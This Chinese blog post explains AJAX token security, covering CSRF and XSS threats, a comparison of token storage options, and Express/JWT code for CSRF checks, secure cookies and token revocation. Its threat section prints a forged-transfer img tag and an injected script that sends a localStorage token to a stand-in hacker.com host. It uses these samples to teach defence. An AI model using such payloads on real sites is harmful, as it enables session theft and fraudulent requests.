AJAX Token安全机制全解析:从CSRF防御到JWT最佳实践

1次阅读
没有评论

共计 2883 个字符,预计需要花费 8 分钟才能阅读完成。

image.webp

背景痛点:AJAX 请求中的 Token 风险

在前后端分离架构中,Token 是身份验证的核心载体,但存在三大安全隐患:

AJAX Token 安全机制全解析:从 CSRF 防御到 JWT 最佳实践

  1. CSRF(跨站请求伪造):攻击者诱导用户触发恶意请求,利用浏览器自动携带 Cookie 的特性冒充合法操作。例如:

    // 恶意网站通过 img 标签发起转账请求
    <img src="https://bank.com/transfer?to=hacker&amount=10000">

  2. XSS 窃取 Token:通过注入脚本窃取 LocalStorage 中的 Token,相比 Cookie 更易被盗取。经典案例是未转义用户输入导致脚本注入:

    // 攻击者注入的脚本
    <script>fetch('https://hacker.com/steal?token='+localStorage.token)</script>

  3. 权限越权 :未校验 Token 中的权限声明(如 JWT 的 claims),导致普通用户访问管理员接口。

技术对比:主流 Token 存储方案

维度 Cookie Token LocalStorage Token JWT
防 CSRF 需配合 SameSite 属性 完全无防护 依赖自定义 Header
防 XSS 可设置 HttpOnly 易被窃取 需配合 HttpOnly Cookie
有效期管理 服务端可控 客户端持久化 需自行实现刷新机制
分布式支持 依赖 Session 存储 无状态 原生无状态
传输性能 每次请求自动携带 需手动添加 Header Base64 体积较大

核心实现:双重 Token 方案

1. 初始化 Express 服务

const express = require('express');
const jwt = require('jsonwebtoken');
const csrf = require('csrf');
const app = express();

// 密钥配置(实际生产环境应从环境变量读取)const JWT_SECRET = 'your_jwt_secret';
const CSRF_SECRET = 'your_csrf_secret';

app.use(express.json());

2. 生成双重 Token

// 登录接口
app.post('/login', (req, res) => {const { username, password} = req.body;

  // 1. 生成 JWT(使用 HMAC-SHA256 算法,平衡性能与安全)const accessToken = jwt.sign({ userId: 123, role: 'user'},
    JWT_SECRET,
    {expiresIn: '15m'} // 短期有效
  );

  // 2. 生成 CSRF Token(使用同步库简化示例)const csrfToken = csrf().create(CSRF_SECRET);

  // 3. 设置 HttpOnly Cookie(防御 XSS)res.cookie('token', accessToken, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production',
    sameSite: 'strict'
  });

  res.json({csrfToken});
});

3. 验证中间件

// JWT 验证中间件
const authJWT = (req, res, next) => {
  const token = req.cookies.token;

  try {const decoded = jwt.verify(token, JWT_SECRET);
    req.user = decoded; // 挂载用户信息
    next();} catch (err) {return res.sendStatus(401);
  }
};

// CSRF 验证中间件
const checkCSRF = (req, res, next) => {const csrfToken = req.headers['x-csrf-token'];

  if (!csrfToken || !csrf().verify(CSRF_SECRET, csrfToken)) {return res.sendStatus(403);
  }
  next();};

4. Axios 拦截器配置

// 请求拦截器
axios.interceptors.request.use(config => {config.headers['X-CSRF-Token'] = getCSRFTokenFromStore();
  return config;
});

// 响应拦截器(处理 Token 过期)axios.interceptors.response.use(
  response => response,
  async error => {if (error.response.status === 401) {await refreshToken(); // 调用刷新 Token 逻辑
      return axios(error.config); // 重试原请求
    }
    return Promise.reject(error);
  }
);

安全增强策略

HttpOnly/Secure/SameSite 三件套

res.cookie('token', token, {
  httpOnly: true,    // 阻止 JavaScript 访问
  secure: true,      // 仅 HTTPS 传输
  sameSite: 'strict' // 禁止跨站发送
});

JWT 黑名单实现

// 使用 Redis 存储失效 Token
const redis = require('redis');
const client = redis.createClient();

// 登出时加入黑名单
app.post('/logout', authJWT, (req, res) => {const { exp} = req.user;
  const ttl = exp - Math.floor(Date.now() / 1000);

  client.set(req.cookies.token, 'revoked', 'EX', ttl);
  res.clearCookie('token');
  res.sendStatus(200);
});

// 验证时检查黑名单
const checkRevoked = async (req, res, next) => {const exists = await client.get(req.cookies.token);
  if (exists) return res.sendStatus(401);
  next();};

生产环境避坑指南

  1. 未设置 Token 过期时间
  2. 风险:Token 永久有效导致无法强制失效
  3. 解决:JWT 设置 expiresIn,Cookie 设置 maxAge

  4. 敏感操作仅依赖前端鉴权

  5. 风险:攻击者直接调用 API 绕过检查
  6. 解决:服务端必须校验用户角色 claims

  7. 使用对称加密存储密钥

  8. 风险:数据库泄露导致所有 Token 可伪造
  9. 解决:非对称加密(如 RS256)或 HSM 硬件存储密钥

延伸思考

  1. 如何设计 Token 刷新机制,平衡安全性与用户体验?
  2. 在微服务架构下,如何实现跨服务的 Token 验证?
  3. 对于超高并发系统,JWT 签名验证是否会成为性能瓶颈?

通过本文的实践方案,开发者可以构建企业级的 Token 安全体系。建议根据实际业务需求,在安全合规与用户体验之间找到平衡点。

正文完
 0
评论(没有评论)